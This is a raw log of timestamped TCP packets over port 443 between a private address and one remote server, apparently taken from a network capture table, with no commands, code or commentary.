Oct 19, 2024 00:13:47.603280067 CEST	49712	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.603286982 CEST	443	49712	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.603308916 CEST	443	49711	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.603326082 CEST	443	49711	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.603368044 CEST	49711	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.603369951 CEST	443	49711	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.603405952 CEST	49711	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.603522062 CEST	49711	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.603538990 CEST	443	49711	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.603549957 CEST	49711	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.603554964 CEST	443	49711	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.606604099 CEST	49717	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.606637955 CEST	443	49717	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.606818914 CEST	49717	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.607140064 CEST	49718	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.607151031 CEST	443	49718	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.607296944 CEST	49718	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.607357025 CEST	49718	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.607367039 CEST	443	49718	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.608551025 CEST	49717	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.608571053 CEST	443	49717	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.615410089 CEST	443	49715	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.615432024 CEST	443	49715	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.615483999 CEST	49715	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.615492105 CEST	443	49715	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.615657091 CEST	443	49715	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.615700006 CEST	49715	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.615848064 CEST	49715	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.615854979 CEST	443	49715	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.615874052 CEST	49715	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.615878105 CEST	443	49715	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.619626045 CEST	49719	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.619647980 CEST	443	49719	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.619784117 CEST	49719	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.620029926 CEST	49719	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.620039940 CEST	443	49719	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.625601053 CEST	443	49713	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.625619888 CEST	443	49713	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.625664949 CEST	443	49713	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.625680923 CEST	49713	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.625721931 CEST	49713	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.626029015 CEST	49713	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.626039982 CEST	443	49713	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.626049995 CEST	49713	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.626054049 CEST	443	49713	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.629712105 CEST	49720	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.629756927 CEST	443	49720	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.629825115 CEST	49720	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.629995108 CEST	49720	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.630004883 CEST	443	49720	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.328638077 CEST	443	49716	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.329318047 CEST	49716	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.329334021 CEST	443	49716	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.329762936 CEST	49716	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.329775095 CEST	443	49716	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.354751110 CEST	443	49719	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.355391026 CEST	49719	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.355411053 CEST	443	49719	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.355887890 CEST	49719	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.355892897 CEST	443	49719	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.356936932 CEST	443	49717	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.357419014 CEST	49717	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.357431889 CEST	443	49717	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.357988119 CEST	49717	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.357992887 CEST	443	49717	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.359441042 CEST	443	49718	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.359807014 CEST	49718	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.359812975 CEST	443	49718	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.360208035 CEST	49718	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.360213995 CEST	443	49718	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.390274048 CEST	443	49720	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.390837908 CEST	49720	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.390855074 CEST	443	49720	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.391299009 CEST	49720	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.391304016 CEST	443	49720	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.457124949 CEST	443	49716	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.457200050 CEST	443	49716	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.457472086 CEST	49716	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.457472086 CEST	49716	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.457508087 CEST	49716	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.457525969 CEST	443	49716	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.460374117 CEST	49721	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.460417986 CEST	443	49721	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.460499048 CEST	49721	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.460630894 CEST	49721	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.460652113 CEST	443	49721	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.483005047 CEST	443	49719	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.483274937 CEST	443	49719	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.483347893 CEST	49719	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.483417988 CEST	49719	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.483426094 CEST	443	49719	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.483437061 CEST	49719	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.483442068 CEST	443	49719	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.486519098 CEST	49722	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.486560106 CEST	443	49722	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.486685038 CEST	49722	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.486884117 CEST	49722	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.486898899 CEST	443	49722	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.488784075 CEST	443	49717	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.488851070 CEST	443	49717	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.488948107 CEST	49717	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.489078999 CEST	49717	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.489078999 CEST	49717	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.489101887 CEST	443	49717	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.489106894 CEST	443	49717	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.491132021 CEST	49723	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.491231918 CEST	443	49723	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.491383076 CEST	49723	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.491631985 CEST	49723	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.491667986 CEST	443	49723	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.493360996 CEST	443	49718	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.494430065 CEST	443	49718	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.494546890 CEST	49718	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.494596958 CEST	49718	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.494602919 CEST	443	49718	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.494679928 CEST	49718	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.494684935 CEST	443	49718	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.498467922 CEST	49724	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.498506069 CEST	443	49724	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.498596907 CEST	49724	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.499216080 CEST	49724	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.499228001 CEST	443	49724	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.524947882 CEST	443	49720	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.525027990 CEST	443	49720	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.525568962 CEST	49720	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.525844097 CEST	49720	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.525845051 CEST	49720	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.525875092 CEST	443	49720	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.525897026 CEST	443	49720	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.530121088 CEST	49725	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.530158997 CEST	443	49725	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:48.530354023 CEST	49725	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.530741930 CEST	49725	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:48.530756950 CEST	443	49725	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.212485075 CEST	443	49721	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.212519884 CEST	443	49723	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.213068008 CEST	49721	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.213094950 CEST	443	49721	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.213561058 CEST	49721	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.213566065 CEST	443	49721	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.213793039 CEST	49723	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.213823080 CEST	443	49723	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.214140892 CEST	49723	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.214148998 CEST	443	49723	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.215477943 CEST	443	49722	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.219315052 CEST	49722	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.219324112 CEST	443	49722	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.219734907 CEST	49722	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.219739914 CEST	443	49722	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.221797943 CEST	443	49724	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.223301888 CEST	49724	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.223314047 CEST	443	49724	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.223705053 CEST	49724	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.223710060 CEST	443	49724	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.249524117 CEST	443	49725	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.256174088 CEST	49725	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.256197929 CEST	443	49725	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.256609917 CEST	49725	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.256616116 CEST	443	49725	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.339323044 CEST	443	49723	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.339509964 CEST	443	49723	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.339615107 CEST	49723	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.340186119 CEST	49723	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.340235949 CEST	443	49723	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.340265036 CEST	49723	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.340302944 CEST	443	49723	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.343364000 CEST	49726	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.343403101 CEST	443	49726	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.343532085 CEST	49726	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.343997002 CEST	49726	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.344011068 CEST	443	49726	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.344332933 CEST	443	49721	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.344468117 CEST	443	49721	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.344515085 CEST	49721	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.344595909 CEST	49721	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.344607115 CEST	443	49721	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.344618082 CEST	49721	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.344623089 CEST	443	49721	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.345374107 CEST	443	49722	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.345490932 CEST	443	49722	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.345560074 CEST	49722	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.346467972 CEST	49722	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.346467972 CEST	49722	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.346472979 CEST	443	49722	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.346481085 CEST	443	49722	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.350178957 CEST	49727	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.350218058 CEST	443	49727	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.350289106 CEST	49727	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.350558996 CEST	49728	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.350613117 CEST	443	49728	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.350711107 CEST	49727	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.350720882 CEST	443	49727	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.350744963 CEST	49728	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.350893021 CEST	49728	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.350924015 CEST	443	49728	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.351140976 CEST	443	49724	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.351771116 CEST	443	49724	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.351835966 CEST	49724	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.352482080 CEST	49724	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.352493048 CEST	443	49724	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.352503061 CEST	49724	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.352507114 CEST	443	49724	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.358820915 CEST	49729	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.358844042 CEST	443	49729	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.358958960 CEST	49729	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.359112978 CEST	49729	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.359126091 CEST	443	49729	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.379431963 CEST	443	49725	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.379592896 CEST	443	49725	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.379733086 CEST	49725	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.383544922 CEST	49725	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.383572102 CEST	443	49725	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.383588076 CEST	49725	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.383594990 CEST	443	49725	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.385863066 CEST	49730	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.385891914 CEST	443	49730	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:49.386053085 CEST	49730	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.386248112 CEST	49730	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:49.386259079 CEST	443	49730	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.064538002 CEST	443	49726	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.065115929 CEST	49726	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.065152884 CEST	443	49726	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.065718889 CEST	49726	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.065725088 CEST	443	49726	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.101954937 CEST	443	49727	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.102369070 CEST	49727	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.102399111 CEST	443	49727	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.102833986 CEST	49727	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.102844000 CEST	443	49727	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.107307911 CEST	443	49729	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.107805014 CEST	49729	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.107825994 CEST	443	49729	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.108289957 CEST	49729	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.108294964 CEST	443	49729	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.139451027 CEST	443	49730	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.139879942 CEST	49730	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.139924049 CEST	443	49730	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.140362024 CEST	49730	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.140367985 CEST	443	49730	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.193387032 CEST	443	49726	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.193814039 CEST	443	49726	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.193869114 CEST	49726	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.193926096 CEST	49726	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.193948030 CEST	443	49726	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.193963051 CEST	49726	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.193969011 CEST	443	49726	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.196800947 CEST	49731	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.196914911 CEST	443	49731	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.196978092 CEST	49731	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.197109938 CEST	49731	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.197139978 CEST	443	49731	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.239886045 CEST	443	49729	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.240030050 CEST	443	49729	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.240076065 CEST	49729	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.240205050 CEST	49729	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.240223885 CEST	443	49729	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.240236044 CEST	49729	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.240242004 CEST	443	49729	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.243206978 CEST	49732	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.243247986 CEST	443	49732	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.243314028 CEST	49732	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.243465900 CEST	49732	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.243475914 CEST	443	49732	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.244978905 CEST	443	49727	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.245251894 CEST	443	49727	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.245306969 CEST	49727	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.245351076 CEST	49727	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.245364904 CEST	443	49727	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.245373011 CEST	49727	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.245378017 CEST	443	49727	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.248224020 CEST	49733	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.248253107 CEST	443	49733	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.248307943 CEST	49733	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.248456001 CEST	49733	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.248472929 CEST	443	49733	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.273468971 CEST	443	49730	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.273719072 CEST	443	49730	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.273775101 CEST	49730	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.275022984 CEST	49730	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.275037050 CEST	443	49730	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.275053978 CEST	49730	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.275058985 CEST	443	49730	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.279006958 CEST	443	49728	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.286962986 CEST	49734	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.286986113 CEST	443	49734	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.287045002 CEST	49734	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.288579941 CEST	49728	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.288599014 CEST	443	49728	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.289339066 CEST	49728	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.289345980 CEST	443	49728	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.291623116 CEST	49734	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.291640043 CEST	443	49734	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.413827896 CEST	443	49728	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.413935900 CEST	443	49728	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.414046049 CEST	49728	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.414222002 CEST	49728	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.414278030 CEST	443	49728	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.414311886 CEST	49728	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.414331913 CEST	443	49728	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.421710968 CEST	49735	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.421761990 CEST	443	49735	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.421833992 CEST	49735	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.422164917 CEST	49735	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.422178030 CEST	443	49735	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.746280909 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 19, 2024 00:13:50.952723980 CEST	443	49731	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.953548908 CEST	49731	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.953619957 CEST	443	49731	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.954133987 CEST	49731	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.954149008 CEST	443	49731	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.984100103 CEST	443	49733	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.986455917 CEST	49733	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.986485958 CEST	443	49733	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:50.987153053 CEST	49733	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:50.987171888 CEST	443	49733	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.034684896 CEST	443	49734	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.036616087 CEST	49734	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.036659002 CEST	443	49734	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.037123919 CEST	49734	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.037133932 CEST	443	49734	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.088815928 CEST	443	49731	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.089217901 CEST	443	49731	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.089420080 CEST	49731	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.089478970 CEST	49731	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.089500904 CEST	443	49731	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.089512110 CEST	49731	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.089518070 CEST	443	49731	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.094444990 CEST	49736	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.094507933 CEST	443	49736	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.094579935 CEST	49736	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.095443010 CEST	49736	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:51.095468044 CEST	443	49736	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:51.118974924 CEST	443	49733	13.107.246.45	192.168.2.10
